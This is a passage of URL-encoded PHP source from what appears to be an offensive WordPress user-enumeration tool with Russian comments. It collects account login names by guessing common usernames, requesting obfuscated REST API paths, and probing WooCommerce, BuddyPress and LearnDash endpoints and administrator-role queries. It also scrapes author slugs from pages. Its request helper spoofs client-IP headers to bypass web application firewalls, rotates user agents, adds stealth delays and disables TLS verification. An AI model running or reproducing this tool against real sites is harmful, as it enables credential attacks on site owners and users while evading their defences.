20if%20%28isset%28%24user%5B%27slug%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24user%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27waf_bypass%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27bypass_used%27%5D%20%3D%20true%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9D%D0%9E%D0%92%D0%AB%D0%99%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%20%D0%B4%D0%BB%D1%8F%20MEGA%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B0%3A%20Brute%20Force%20Users%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryBruteForceUsers%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24common_usernames%20%3D%20%5B%27admin%27%2C%20%27administrator%27%2C%20%27user%27%2C%20%27test%27%2C%20%27demo%27%2C%20%27guest%27%2C%20%27root%27%2C%20%27wp%27%2C%20%27wordpress%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24common_usernames%20as%20%24username%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%22/wp-json/wp/v2/users%3Fslug%3D%7B%24username%7D%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24users%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_array%28%24users%29%20%26%26%20%21empty%28%24users%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24users%20as%20%24user%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24user%5B%27slug%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24user%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24this-%3Eoptions%5B%27stealth_mode%27%5D%20%3F%3F%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20usleep%28rand%28100000%2C%20400000%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27brute_force_users%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9D%D0%9E%D0%92%D0%AB%D0%99%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%20%D0%B4%D0%BB%D1%8F%20MEGA%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B0%3A%20Advanced%20Bypass%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryAdvancedBypass%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24advanced_techniques%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%252E%252E%252Fwp-json/wp/v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json//wp/v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp//v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2//users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2/users//%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp%252Djson/wp/v2/users%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24advanced_techniques%20as%20%24path%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24path%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24users%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_array%28%24users%29%20%26%26%20%21empty%28%24users%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24users%20as%20%24user%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24user%5B%27slug%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24user%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27advanced_bypass%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9D%D0%9E%D0%92%D0%AB%D0%99%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%20%D0%B4%D0%BB%D1%8F%20MEGA%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B0%3A%20Plugin%20Endpoints%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryPluginEndpoints%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24plugin_endpoints%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/buddypress/v1/members%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/bbp/v1/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wc/v1/customers%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/learndash/v1/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2/users%3Froles%3Dadministrator%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wp/v2/users%3Froles%3Deditor%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24plugin_endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_array%28%24data%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24data%20as%20%24item%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24item%5B%27slug%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24item%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28isset%28%24item%5B%27username%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24item%5B%27username%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28isset%28%24item%5B%27user_login%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24item%5B%27user_login%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27plugin_endpoints%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%98%D0%B7%D0%B2%D0%BB%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%BE%D0%B2%20%D0%B8%D0%B7%20HTML%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20extractLoginsFromHTML%28%24html%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20Author%20links%0D%0A%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/%5C/author%5C/%28%5B%5E%5C/%22%5C%27%5Cs%5C%3F%5D%2B%29/i%27%2C%20%24html%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24matches%5B1%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20CSS%20classes%0D%0A%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/by-author-%28%5Ba-z0-9_-%5D%2B%29/i%27%2C%20%24html%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24matches%5B1%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20Author%20meta%0D%0A%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/%3Cmeta%5B%5E%3E%5D%2Bname%3D%5B%22%5C%27%5Dauthor%5B%22%5C%27%5D%5B%5E%3E%5D%2Bcontent%3D%5B%22%5C%27%5D%28%5B%5E%22%5C%27%5D%2B%29%5B%22%5C%27%5D%5B%5E%3E%5D%2A%3E/i%27%2C%20%24html%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24matches%5B1%5D%20as%20%24author%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24normalized%20%3D%20%24this-%3EnormalizeLogin%28%24author%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24normalized%29%20%24logins%5B%5D%20%3D%20%24normalized%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20Rel%3D%22author%22%20links%0D%0A%20%20%20%20%20%20%20%20if%20%28preg_match_all%28%27/%3Ca%5B%5E%3E%5D%2Brel%3D%5B%22%5C%27%5Dauthor%5B%22%5C%27%5D%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2B%29%3C/i%27%2C%20%24html%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24matches%5B1%5D%20as%20%24author%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24normalized%20%3D%20%24this-%3EnormalizeLogin%28%24author%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24normalized%29%20%24logins%5B%5D%20%3D%20%24normalized%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20array_unique%28array_filter%28%24logins%29%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%90%D0%AF%20%D0%BE%D1%87%D0%B8%D1%81%D1%82%D0%BA%D0%B0%20%D0%B8%20%D0%B4%D0%B5%D0%B4%D1%83%D0%BF%D0%BB%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%BE%D0%B2%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20cleanAndDeduplicateLogins%28%24logins%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24cleaned%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24logins%20as%20%24login%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24normalized%20%3D%20%24this-%3EnormalizeLogin%28%24login%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24normalized%20%26%26%20%21in_array%28%24normalized%2C%20%24cleaned%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24cleaned%5B%5D%20%3D%20%24normalized%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D1%83%D0%B5%D0%BC%20%D0%BF%D0%BE%20%D0%B4%D0%BB%D0%B8%D0%BD%D0%B5%20%28%D0%BA%D0%BE%D1%80%D0%BE%D1%82%D0%BA%D0%B8%D0%B5%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D1%8B%20%D0%BE%D0%B1%D1%8B%D1%87%D0%BD%D0%BE%20%D0%BB%D1%83%D1%87%D1%88%D0%B5%29%0D%0A%20%20%20%20%20%20%20%20usort%28%24cleaned%2C%20function%28%24a%2C%20%24b%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20strlen%28%24a%29%20-%20strlen%28%24b%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%24cleaned%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20HTTP%20%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%20%D1%81%20%D1%83%D0%BB%D1%83%D1%87%D1%88%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9%20%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%BE%D0%B9%20%D0%BE%D1%88%D0%B8%D0%B1%D0%BE%D0%BA%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20makeRequest%28%24url%2C%20%24method%20%3D%20%27GET%27%2C%20%24data%20%3D%20null%2C%20%24headers%20%3D%20%5B%5D%2C%20%24follow_redirects%20%3D%20true%29%20%7B%0D%0A%20%20%20%20%20%20%20%20if%20%28%21function_exists%28%27curl_init%27%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20throw%20new%20Exception%28%27cURL%20extension%20not%20available%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24ch%20%3D%20curl_init%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24timeout%20%3D%20min%28%24this-%3Eoptions%5B%27timeout%27%5D%20%3F%3F%20REQUEST_TIMEOUT%2C%20REQUEST_TIMEOUT%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20curl_setopt_array%28%24ch%2C%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_URL%20%3D%3E%20%24url%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_RETURNTRANSFER%20%3D%3E%20true%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_TIMEOUT%20%3D%3E%20%24timeout%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_CONNECTTIMEOUT%20%3D%3E%2010%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_FOLLOWLOCATION%20%3D%3E%20%24follow_redirects%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_MAXREDIRS%20%3D%3E%203%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_SSL_VERIFYPEER%20%3D%3E%20false%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_SSL_VERIFYHOST%20%3D%3E%20false%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_USERAGENT%20%3D%3E%20%24this-%3EgetRandomUserAgent%28%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_HEADER%20%3D%3E%20true%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_NOBODY%20%3D%3E%20false%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_ENCODING%20%3D%3E%20%27gzip%2C%20deflate%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20CURLOPT_HTTP_VERSION%20%3D%3E%20CURL_HTTP_VERSION_1_1%2C%0D%0A%20%20%20%20%20%20%20%20%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%24method%20%3D%3D%3D%20%27POST%27%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20curl_setopt%28%24ch%2C%20CURLOPT_POST%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24data%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20curl_setopt%28%24ch%2C%20CURLOPT_POSTFIELDS%2C%20%24data%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24default_headers%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27Accept%3A%20application/json%2C%20text/html%2C%20%2A/%2A%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27Accept-Language%3A%20en-US%2Cen%3Bq%3D0.9%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27Accept-Encoding%3A%20gzip%2C%20deflate%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27Cache-Control%3A%20no-cache%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27Connection%3A%20close%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%24this-%3Eoptions%5B%27waf_bypass%27%5D%20%3F%3F%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24default_headers%5B%5D%20%3D%20%27X-Forwarded-For%3A%20%27%20.%20%24this-%3EgetRandomIP%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24default_headers%5B%5D%20%3D%20%27X-Real-IP%3A%20%27%20.%20%24this-%3EgetRandomIP%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24default_headers%5B%5D%20%3D%20%27CF-Connecting-IP%3A%20%27%20.%20%24this-%3EgetRandomIP%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24all_headers%20%3D%20array_merge%28%24default_headers%2C%20%24headers%29%3B%0D%0A%20%20%20%20%20%20%20%20curl_setopt%28%24ch%2C%20CURLOPT_HTTPHEADER%2C%20%24all_headers%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24response%20%3D%20curl_exec%28%24ch%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%24response%20%3D%3D%3D%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24error%20%3D%20curl_error%28%24ch%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20curl_close%28%24ch%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20throw%20new%20Exception%28%27cURL%20error%3A%20%27%20.%20%24error%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24status_code%20%3D%20curl_getinfo%28%24ch%2C%20CURLINFO_HTTP_CODE%29%3B%0D%0A%20%20%20%20%20%20%20%20%24header_size%20%3D%20curl_getinfo%28%24ch%2C%20CURLINFO_HEADER_SIZE%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20curl_close%28%24ch%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24headers_raw%20%3D%20substr%28%24response%2C%200%2C%20%24header_size%29%3B%0D%0A%20%20%20%20%20%20%20%20%24body%20%3D%20substr%28%24response%2C%20%24header_size%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%2